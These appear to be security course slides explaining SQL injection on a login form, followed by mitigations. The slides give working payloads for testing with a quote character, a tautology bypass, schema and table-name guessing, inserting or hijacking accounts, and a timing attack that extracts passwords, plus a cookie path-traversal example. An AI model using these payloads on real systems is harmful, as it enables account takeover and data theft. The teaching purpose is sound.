

# **SQL Injection**


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# SQL Injection

- Unverified/unsanitized user input vulnerability
- Used to perform unintended operations on a database
  - Bypass authentication mechanisms
  - Read otherwise unavailable information from the database
  - Write information such as new user accounts to the database
- It often involves quite some “guessing” from the hacker side
- <http://www.unixwiz.net/techtips/sql-injection.html>

# SQL Injection example

- Our example: A web application with a login page
  - Traditional username-and-password form
  - An email-me-my-password link




The image shows a login page with a title 'Login' in blue. Below it is a section header 'Personal identifiers'. There are two input fields: 'Login or e-mail address:' and 'Password:'. Below the password field is a link 'password forgotten?' with a padlock icon. At the bottom, there is a checkbox labeled 'Remember my ID for a few days' and a blue 'Submit' button. A vertical scrollbar is visible on the right side of the form.

Login

Personal identifiers

Login or e-mail address:

Password:

 password forgotten?

☐ Remember my ID for a few days

Submit

# Step 1: Make a guess how the server works internally

- *Maybe* user accounts (name, password, etc.) are stored in a database table on the server
- *Maybe* the code on the server to authenticate a user looks like this:

```
boolean login(String n, String p) {  
    String query =  
        "SELECT name,passwd FROM users WHERE name='"+n+"'";  
    Statement stmt = con.createStatement();  
    ResultSet rs = stmt.executeQuery(query);  
    ...  
    // take first row in ResultSet and compare password  
    ...  
}
```


## Step 2: Is the system vulnerable?

Check if the system accepts unsanitized inputs (i.e., inputs with potentially harmful characters):

- Enter `steve@unixwiz.net'` in the email field
- The query run by the server is now

```
SELECT fieldlist FROM table WHERE field =  
      'steve@unixwiz.net'' ;
```

- This is not a correct query (wrong syntax)
- If this gives a server error (error page or HTTP return code 500, instead of just “wrong e-mail”), we know that the server did not filter the user input properly



The screenshot shows a web browser window with a blue header bar. The address bar displays "localhost:8081" with a star icon on the right. The main content area has a white background and contains the following text:

# Internal Server Error

The server encountered an internal error or misconfiguration and was unable to complete your request.

Please contact the server administrator at [admin@example.com](mailto:admin@example.com) to inform them of the time this error occurred, and the actions you performed just before this error.

More information about this error may be available in the server error log.

**type** Exception report

**message**

**description** The server encountered an internal error () that prevented it from fulfilling this request.

**exception**

```
javax.servlet.ServletException: com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version 5.5.26: Error 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version 5.5.26: Error 1064 (42000): cv cvf sdfbgdfbg</h1>', sub_by='SP526' at line 1
```

**root cause**

```
com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version 5.5.26: Error 1064 (42000): cv cvf sdfbgdfbg</h1>', sub_by='SP526' at line 1
```

**note** The full stack traces of the exception and its root causes are available in the GlassFish Server Open Source Edition 3.0.1 logs.

GlassFish Server Open Source Edition 3.0.1

# Exploit valid SQL constructs in the WHERE clause

We could also try this:

- Enter `anything' OR 'x'='x` in email field
- The resulting SQL query is now looking like

```
SELECT fieldlist FROM table WHERE  
      field = 'anything' OR 'x'='x'' ;
```

- The query will return every item in table *table*
- The application will probably use only the first item of the query result. Not very useful at the moment, but interesting to know that this works.

## Step 3: Schema field mapping

- Let's try to find out more about the database. What are the names of the table columns?

- We try to guess if `email` is a valid field name

```
SELECT fieldlist FROM table  
      WHERE field = 'x' AND email IS NULL;--';
```

- If the query returns an error, we most likely have guessed wrong (syntax error).
- If the query is accepted, we can try to guess other fields

```
SELECT fieldlist FROM table  
      WHERE field = 'x' AND userid IS NULL;--';
```



# Step 4: Finding the table name

- Sub-queries allow us to try accessing different table names:

```
SELECT fieldlist FROM table  
WHERE field='x' AND 1=(SELECT COUNT(*) FROM  
                        SomeGuessedTableName) ; --' ;
```

- Again, if we get an error, the table name was probably wrong
- May require a lot of attempts, trying out typical names (users, accounts, useraccounts, userlist,...)

# Step 5: Creating a new user account

- Let's add a new user account:

```
SELECT fieldlist FROM table
WHERE field= 'x'; INSERT INTO users
      ('email','passwd','login_id','name')
      VALUES ('steve@unixwiz.net','hello','steve',
              'Steve Friedl'); --';
```

# SQL Injection example

- Step 5 might go wrong for many reasons:
  1. There might not have been enough room in the web form to enter this much text directly.
  2. The web application user might not have **INSERT** permission on the **users** table.
  3. There might be other fields in the **users** table, and some may *require* initial values, causing the **INSERT** to fail.
  4. Even if the new record is created, the application itself might not behave well due to the auto-inserted NULL fields.
  5. A valid account might require not only a record in the **users** table, but associated information in other tables (e.g., "access\_rights"), so adding to one table alone might not be sufficient.

# Alternative to Step 5: Modify an existing user

- Assume we know that `bob@example.com` is a valid email
- Substitute this email address with the one of the attacker

```
SELECT fieldlist FROM users WHERE field = 'x';  
UPDATE users SET email = 'attacker@gmail.com'  
WHERE email = 'bob@example.com';
```

- Retrieve user and password using the email-me-my-password link
- Even better if the modified user is an admin!

# Timing attack

- What can we do if the database doesn't allow INSERT or UPDATE? Can we get the password somehow?

- Possible way (if passwords are stored unencrypted):

```
x'; SELECT IF (SUBSTRING (passwd, 1, 1) = CHAR (65) ,  
BENCHMARK (5000000, ENCODE ('MSG', 'by 5 seconds')) , null)  
FROM users WHERE name='Bob';
```

- This is a timing attack: If the server response takes longer than usual, we know that the first character of the password is CHAR(65) (=uppercase A)
- Timing attacks are *side channel attacks*: The server doesn't give us the password, but we can infer it *indirectly* from the server behavior.

# SQL Injection: Only Manual Guessing?

- Automated attacks are also possible
- Tools have been developed, for example for penetration testing.
  - Example: sqlmap <http://sqlmap.org>
  - Less time consuming than manual attacks
  - Take into account the various SQL dialects

# Other injections

- Injections are possible whenever an application uses unsanitized user input (not only with SQL!)
- Example:
  - Imagine a web app where the user can select a background picture (stored on the server)
  - Name of background picture stored in a cookie
  - Server takes text in cookie and builds the file name

```
open("/path/to/pictures/on/server/"+ cookietext)
```
- What happens if the user manually modifies the cookie value to `"../..../etc/password"` ?

# Mitigation

- Never trust data coming from outside (user input etc.)
  - Sanitize the input: Ensure that no harmful characters appear in the input
- Use SQL prepared statements or stored procedures
- Limit database permissions
- Use web application frameworks written by people who have experience with input sanitization
- Isolate the web server (DMZ, we will see that later)
- Configure error reporting: Do not disclose more information than necessary
  - Some of the techniques here worked because the server was showing internal errors to the user



# Prepared statements

- In Java, instead of building the query manually

```
String query =  
    "SELECT name,passwd FROM users WHERE name='"+n+"'";  
Statement stmt = con.createStatement();  
ResultSet rs = stmt.executeQuery(query);
```

## use a prepared statement

```
String query = "SELECT name,passwd FROM users WHERE name=?";  
PreparedStatement stmt = con.prepareStatement(query);  
stmt.setString(1,n);  
ResultSet rs = stmt.executeQuery();
```

# Stored procedures

- In stored procedures, the query is stored in the database as a procedure that can be called from the application:

```
CallableStatement stmt = connection.prepareCall(
    "{call checkUsername(?) }");

stmt.setString(1, n);

ResultSet results = stmt.executeQuery();
```

- Neither the application nor the attacker can influence what happens inside `checkUsername`